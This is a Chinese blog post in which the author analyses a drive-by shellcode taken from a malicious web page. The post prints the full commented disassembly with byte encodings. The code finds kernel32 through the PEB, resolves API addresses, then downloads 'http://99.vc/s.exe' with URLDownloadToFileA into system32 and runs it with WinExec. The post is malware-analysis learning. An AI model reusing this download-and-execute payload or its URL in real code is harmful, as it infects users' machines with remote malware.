Shellcode原来是这样子的——小菜的一次Shellcode跟踪实例

本人对汇编调试方面是真正的菜鸟,甚至连菜鸟都谈不上。然而,一贵有自知之明,二贵有学习精神。从半个月前发现 迅雷0day的shellcode的xor加密开始,我才在这感冒的期间(刚好实在不想看也看不下去物理啊),花一些时间对着OD解闷。时至今晚,终于算 是了解了,一个shellcode,它运行后究竟干了什么,它是如何“远程下载病毒并运行的”。

shellcode实例:上篇blog文,4楼的网友提供的毒网,晚上上来看到了,心想顺便看一下,结果欲罢不能,居然真的把shellcode的 动作都discover出来了。作为之前完全不懂这些的我来说,这实在是一个不大不小的里程碑,值得纪念一下,特别是这个shellcode还是新鲜的。 现在把对shellcode代码的分析发上来。

AlphaEncode的代码,xor的代码,都在前面的blog文里提过了,这一个shellcode的相关手法也基本一样,故不再谈(这次是xor 66H),直接从解密后的真正原貌开始。

讲解之前,先说一下我所知的,毒网里的shellcode要在别人的计算机里正常运行,需要注意的关键:
1. 所有shellcode都难以保证自己的代码被加载到哪个内存地址。shellcode要运转,特别是要读取自身代码里的数据(如病毒URL地址,要调用的函数名等常量和变量),就必须要自我定位,即获取自身在内存中的虚拟地址。
一般来说,只要在执行shellcode过程中,能获取到程序当前的入口点EIP值,就能以此定位自己的代码。但是EIP值是不能直接用mov等方法获取的。为此,shellcode编写者利用了一个典型的办法,你在下面的shellcode中将会看到。
2.shellcode必须在所在进程的空间里,调用系统API函数,来完成远程下载文件并运行的目的。那么,怎么获取函数地址?这也就是远程注入代码的又一关键:函数地址重定位问题。
只要API所在的dll被进程所加载,就可以通过由kernel32.dll导出的GetProcAddress来得到函数地址,进而Call之。但是,GetProcAddress本身也是一个函数,我们首先要得到它的地址啊!看起来好像进入死循环了。
既然如此,shellcode作者就必须模拟程序加载dll的方式,为自己的shellcode代码创建一个类似的“输入表”。要得到 kernel32.dll中的GetProcAddress函数的地址,也就要读取kernel32.dll的输出表。那么,问题变成了如何定位 kernel32.dll的输出表。
问题转变成了一个PE文件结构读取的问题。只要得到kernel32.dll在进程虚拟空间中的基址(DOS文件头,即MZ的位置),就可以在03CH偏 移处读到PE文件头("PE"字样地址)相对这个DOS文件头的偏移,并计算出PE文件头地址。PE文件头结构中的78H处,就是输出表的地址了。通过检 索输出表,就可以得到GetProcAddress函数的地址的偏移量,进一步变为在虚拟空间中的入口点地址。
问题逐层深入,变成怎么得到“kernel32.dll文件在进程空间中的基址”。硬编码?那你干脆连函数地址都硬编码,不是更省?!shellcode作者们有更好的作法。
讲到dll的基址,一个结构呼之欲出了——PEB!fs:[0x30]!
OK了,shellcode终于从一片“不确定”中抓到了这根可以一条指令就得到的“救命稻草”。

其他的,看代码注释吧。不知道PEB的(我也是前两天碰巧刚知道),不知道PE文件结构的(我一直看着它看得头昏脑胀),看前面的部分可能会有些吃力……

代码在记事本里很整齐,copy上来就乱了,想详细看的同样copy回记事本看吧……

调试环境:XP sp2 VC++6.0 将shellcode内容作为main函数里的局部变量,之后嵌入两行汇编,将其地址lea入eax后jmp eax进入了shellcode,所以下面的地址是在堆栈里。代码从解密后真正执行开始:


0012FE2F E9 D5 00 00 00       jmp         0012FF09                            ;EIP入栈
0012FE34 5A                   pop         edx                                 ;得到原EIP(0012FF0E)
0012FE35 64 A1 30 00 00 00    mov         eax,fs:[00000030]                   ;PEB头部地址
0012FE3B 8B 40 0C             mov         eax,dword ptr [eax+0Ch]             ;PLDR_DATA
0012FE3E 8B 70 1C             mov         esi,dword ptr [eax+1Ch]             ;InInitializationOrderModuleList
0012FE41 AD                   lods        dword ptr [esi]                     ;Flink,kernel32.dll的PLDR_MODULE
0012FE42 8B 40 08             mov         eax,dword ptr [eax+8]               ;kernel32.dll的基址
0012FE45 8B D8                mov         ebx,eax                             ;记住ebx=kernel32.dll的基址(MZ头)
0012FE47 8B 73 3C             mov         esi,dword ptr [ebx+3Ch]             ;kernel32.dll的PE头相对MZ的偏移
0012FE4A 8B 74 1E 78          mov         esi,dword ptr [esi+ebx+78h]         ;输出表地址
0012FE4E 03 F3                add         esi,ebx                             ;转化成VA,记住esi=输出表VA
0012FE50 8B 7E 20             mov         edi,dword ptr [esi+20h]             ;AddressOfNames
0012FE53 03 FB                add         edi,ebx                             ;记住edi=AddressOfNames数组地址
0012FE55 8B 4E 14             mov         ecx,dword ptr [esi+14h]             ;NumberOfFunctions
0012FE58 33 ED                xor         ebp,ebp
0012FE5A 56                   push        esi
0012FE5B 57                   push        edi
0012FE5C 51                   push        ecx
0012FE5D 8B 3F                mov         edi,dword ptr [edi]                 ;首个Name的VA
0012FE5F 03 FB                add         edi,ebx                             ;0012FF0E,ASCII "GetProcAddress"
0012FE61 8B F2                mov         esi,edx
0012FE63 6A 0E                push        0Eh
0012FE65 59                   pop         ecx
0012FE66 F3 A6                repe cmps   byte ptr [esi],byte ptr [edi]       ;比较
0012FE68 74 08                je          0012FE72
0012FE6A 59                   pop         ecx
0012FE6B 5F                   pop         edi
0012FE6C 83 C7 04             add         edi,4
0012FE6F 45                   inc         ebp
0012FE70 E2 E9                loop        0012FE5B                            ;循环直到找到GetProcAddress
0012FE72 59                   pop         ecx
0012FE73 5F                   pop         edi
0012FE74 5E                   pop         esi
0012FE75 8B CD                mov         ecx,ebp
0012FE77 8B 46 24             mov         eax,dword ptr [esi+24h]             ;AddressOfNameOrdinals
0012FE7A 03 C3                add         eax,ebx
0012FE7C D1 E1                shl         ecx,1
0012FE7E 03 C1                add         eax,ecx
0012FE80 33 C9                xor         ecx,ecx
0012FE82 66 8B 08             mov         cx,word ptr [eax]
0012FE85 8B 46 1C             mov         eax,dword ptr [esi+1Ch]             ;AddressOfFunctions
0012FE88 03 C3                add         eax,ebx
0012FE8A C1 E1 02             shl         ecx,2
0012FE8D 03 C1                add         eax,ecx                             ;根据之前找到的GetProcAddress的序数
0012FE8F 8B 00                mov         eax,dword ptr [eax]                 ;找到GetProcAddress
0012FE91 03 C3                add         eax,ebx
0012FE93 8B FA                mov         edi,edx
0012FE95 8B F7                mov         esi,edi
0012FE97 83 C6 0E             add         esi,0Eh                             ;esi值指向GetProcAddress字串末尾
0012FE9A 8B D0                mov         edx,eax
0012FE9C 6A 04                push        4
0012FE9E 59                   pop         ecx                                 ;ecx=4,计数器,一共要loop四次
0012FE9F E8 50 00 00 00       call        0012FEF4                            ;循环,得到了kernel32.dll中四个函数的地址,并将其保存在0012FF0E开始的10H个字节中(覆盖了原来的字符串)
0012FEA4 83 C6 0D             add         esi,0Dh                             ;这次esi指向ASCII "urlmon"
0012FEA7 52                   push        edx                                 ;edx=GetProcAddress地址,保护
0012FEA8 56                   push        esi                                 ;ASCII "urlmon"
0012FEA9 FF 57 FC             call        dword ptr [edi-4]                   ;刚刚获得的LoadLibraryA地址
0012FEAC 5A                   pop         edx                                 ;edx=GetProcAddress地址
0012FEAD 8B D8                mov         ebx,eax                             ;urlmon基址(handler)
0012FEAF 6A 01                push        1
0012FEB1 59                   pop         ecx                                 ;同样是计数
0012FEB2 E8 3D 00 00 00       call        0012FEF4                            ;取URLDownloadToFileA地址
0012FEB7 83 C6 13             add         esi,13h                             ;esi指向URL地址
0012FEBA 56                   push        esi
0012FEBB 46                   inc         esi
0012FEBC 80 3E 80             cmp         byte ptr [esi],80h                  ;循环找后面的一个80H
0012FEBF 75 FA                jne         0012FEBB
0012FEC1 80 36 80             xor         byte ptr [esi],80h                  ;将其变成00H
0012FEC4 5E                   pop         esi                                 ;pop回来,又变成指向URL地址了
0012FEC5 83 EC 20             sub         esp,20h                             ;留一个20H的缓冲区
0012FEC8 8B DC                mov         ebx,esp
0012FECA 6A 20                push        20h
0012FECC 53                   push        ebx                                 ;缓冲区地址
0012FECD FF 57 EC             call        dword ptr [edi-14h]                 ;GetSystemDirectoryA
0012FED0 C7 04 03 5C 61 2E 65 mov         dword ptr [ebx+eax],652E615Ch       ;eax为长度,在系统路径后加/a.exe
0012FED7 C7 44 03 04 78 65 00 mov         dword ptr [ebx+eax+4],6578h         ;
0012FEDF 33 C0                xor         eax,eax                             
0012FEE1 50                   push        eax                                 ;0
0012FEE2 50                   push        eax                                 ;0
0012FEE3 53                   push        ebx                                 ;lpfilename
0012FEE4 56                   push        esi                                 ;URL地址
0012FEE5 50                   push        eax                                 ;0
0012FEE6 FF 57 FC             call        dword ptr [edi-4]                   ;URLDownloadToFileA!!
0012FEE9 8B DC                mov         ebx,esp                             ;ebx指向本地filename
0012FEEB 50                   push        eax
0012FEEC 53                   push        ebx
0012FEED FF 57 F0             call        dword ptr [edi-10h]                 ;Winexec!
0012FEF0 50                   push        eax                                 ;exitcode
0012FEF1 FF 57 F4             call        dword ptr [edi-0Ch]                 ;ExitThread,完结
……………………………………………………………………………………………………………………………………………………
下面是紧接着的一段,相当于子程序,获得所需函数的地址,函数名字符串从0012FF0E开始。每次取到地址后,同样会依次覆盖0012FF0E开始的空间。
0012FEF4 33 C0                xor         eax,eax                             ;循环,使esi指向下个字符地址
0012FEF6 AC                   lods        byte ptr [esi]
0012FEF7 85 C0                test        eax,eax
0012FEF9 75 F9                jne         0012FEF4
0012FEFB 51                   push        ecx
0012FEFC 52                   push        edx
0012FEFD 56                   push        esi                                 ;下个字符串地址
0012FEFE 53                   push        ebx                                 ;dll的基址
0012FEFF FF D2                call        edx                                 ;GetProcAddress
0012FF01 5A                   pop         edx
0012FF02 59                   pop         ecx
0012FF03 AB                   stos        dword ptr [edi]                     ;保存地址(会覆盖掉原来的字符串)
0012FF04 E2 EE                loop        0012FEF4                            ;ecx是计数的
0012FF06 33 C0                xor         eax,eax
0012FF08 C3                   ret                                             ;获得所需函数地址,返回
………………………………………………………………………………………………………………………………………………………
0012FF09 E8 26 FF FF FF       call        0012FE34

从在内存中存储的顺序上,这是“代码”的最后一行,这个欺骗性的call是程序为了定位自身代码的入口点而使用的典型办法。其实同样是跳回原代码的下一句 执行,但是由于系统执行call时会先把EIP入栈,所以只要在下一句代码里pop,就可以得到被压入堆栈的EIP值,也就可以定位代码自身的位置了。这 里得到的值恰好指向这行代码紧接的“数据区”的开始。
………………………………………………………………………………………………………………………………………………………
紧接着这里是“数据区”。可以看到这里保存着需要的多个函数名(包括urlmon的dll名),以及“万恶的病毒URL”。对照shellcode代码,你可以发现函数地址是怎么一个一个被找到的。
值得一提的有两点:
1.找到函数地址后,会把地址一个个依次写在此区的开始,也就是从0012FF0E开始的14H个字节内容将被五个函数地址所代替。
2.在所有代码执行之前的解密函数代码执行过程中(我这里省掉了,是xor 66H),从0012FE2F到0012FF6A的内容被xor解密。但是最后一个病毒URL地址,其本身没有加密,也就没有被解密。这跟之前的一次xor FEH不一样,原因不言而喻……

0012FF0E 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00                         ;ASCII "GetProcAddress"
0012FF1D 47 65 74 53 79 73 74 65 6D 44 69 72 65 63 74 6F 72 79 41 00          ;ASCII "GetSystemDirectoryA"       
0012FF31 57 69 6E 45 78 65 63 00                                              ;ASCII "WinExec"
0012FF39 45 78 69 74 54 68 72 65 61 64 00                                     ;ASCII "ExitThread"
0012FF44 4C 6F 61 64 4C 69 62 72 61 72 79 41 00                               ;ASCII "LoadLibraryA"
0012FF51 75 72 6C 6D 6F 6E 00                                                 ;ASCII "urlmon"
0012FF58 55 52 4C 44 6F 77 6E 6C 6F 61 64 54 6F 46 69 6C 65 41 00             ;ASCII "URLDownloadToFileA"
0012FF6B 68 74 74 70 3A 2F 2F 39 39 2E 76 63 2F 73 2E 65 78 65                ;ASCII "http://99.vc/s.exe"
0012FF7D 80 00 00             add         byte ptr [eax],0                    ;最后80被改为00
………………………………………………………………………………………………………………………………

在VC里看太痛苦了,注释完全是我自己把代码copy到记事本后,自己添加上去的。连字符串也是自己译过来的,VC它根本不认它们为字符,我都不知道怎么调,要是在OD里我还知道……

经过以上分析,该代码的行为是:
1. 利用一个call来使得系统将EIP入栈,并马上pop出来,从而解决了自身代码定位问题,而且由于shellcode编排得巧妙,得到的地址正是指向“数据区”的开头。
2.利用fs:[0x30]这个地址,得到PEB头部的地址。然后读取PEB中的PLDR_DATA指针,再找LDR_DATA结构中的 InInitializationOrderModuleList的Flink,从而得到指向kernel32.dll的LDR_MODULE结构的地 址。通过读取LDR_MODULE结构中的BaseAddress,从而得到了kernel32.dll在进程空间中的基址。由于PEB属于 Undocument的内容,以上名字可能不同的人命名有所不同,但是意义是一样的。
3.通过读取kernel32.dll在进程空间中的映像的PE文件结构,找到其输出表,通过循环比对,在AddressOfNames数组中找到指向GetProcAddress这个函数名的指针位置,定位其索引号位置。
4.通过索引查AddressOfFunctions数组,找到GetProcAddress的函数入口偏移量,加上kernel32.dll的基址,终于得到了GetProcAddress函数的确切入口。
5.通过调用GetProcAddress函数,配合kernel32.dll的基址这个句柄,找到GetSystemDirectoryA、 Winexec、ExitThread、LoadLibraryA这四个由kernel32.dll导出的函数的入口点,并将之依次保存到“数据区”开头 以备调用。
6.通过刚刚得到的LoadLibraryA函数入口,加载urlmon.dll,用GetProcAddress得到重要的函数URLDownloadToFileA的入口点,同样保存备用。
7.通过调用GetSystemDirectoryA,得到系统文件夹路径(即XP里默认为C:/WINDOWS/system32,注意得到的路径最后没有"/"),在路径后面加入/a.exe,作为下载保存的本地地址。
8.调用URLDownloadToFileA,将由挂马者指定的URL地址对应的病毒文件(这里是http://99.vc/s.exe),下载到本机(默认是C:/WINDOWS/system32/a.exe),并调用Winexec运行。
9.完成以上所有任务,调用ExitThread,退出自身线程。

补充:
进入了shellcode之后,shellcode的运行代码,与利用漏洞本身无关。也就是说,这串代码你可以copy到其他ActiveX插件漏洞的利 用网页里。对于不同的漏洞来说,不同点只在于如何触发漏洞,从而使得程序的EIP能够跳到shellcode的入口点,使得shellcode能够运行。 编写可以运行的shellcode有学问,如以上shellcode代码就涉及PEB结构的读取,PE文件结构的读取,以及Win32汇编语言代码的实现 等。而如何找到并利用漏洞(通常是产生溢出),如何巧妙地编排,使得EIP跳到shellcode内,使shellcode代码得到运行的机会,则更是需 要真才实学的,而这一部分,我还完全摸不着门道。

另外,得到kernel32.dll的基址,是不是只能PEB?想想PEB好像是比较通用的方式,程序自身重定向的时候,也要用到它的,所以正常程序一般不会随便去“伪造”它。

不过,对于一个改节表和入口点的感染型病毒而言,在被感染的文件中,那段在程序初始化后,就被抢先执行的病毒代码,由于其执行的特殊时机(在程序刚初始化 跳到入口点时),它可以轻松地从堆栈中找到一个位于kernel32.dll空间内的地址,然后用它来找kernel32.dll的基址。
事实上,这正是Worm.Win32.Delf病毒使用的方式。最近由于新变种logogogo.exe的出现,瑞星把以前的变种的病毒名也改成了 Win32.logogo。最近的变种我没拿到,过两天找阳光等人拿一下。但是今天下午,我分析了被以前的变种感染的文件,其中的病毒代码,从它如何定位 自身代码,得到GetProcAddress函数地址,得到其他函数地址,调用CreateFileA和WriteFile将用Upack加壳的病毒主体 代码写入新文件,最后得到已保存的原文件基址和入口点,并跳转到原入口点处,将控制权交还给原程序,都看了一遍。

当我分析完Delf的代码,吃完饭再跑上blog,看到4楼的回复,再看到这段shellcode的时候,我实在是喜出望外,Delf(或者logogo)病毒感染后文件中的那段代码,跟以上这段shellcode,两者的机理非常非常地相像!

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值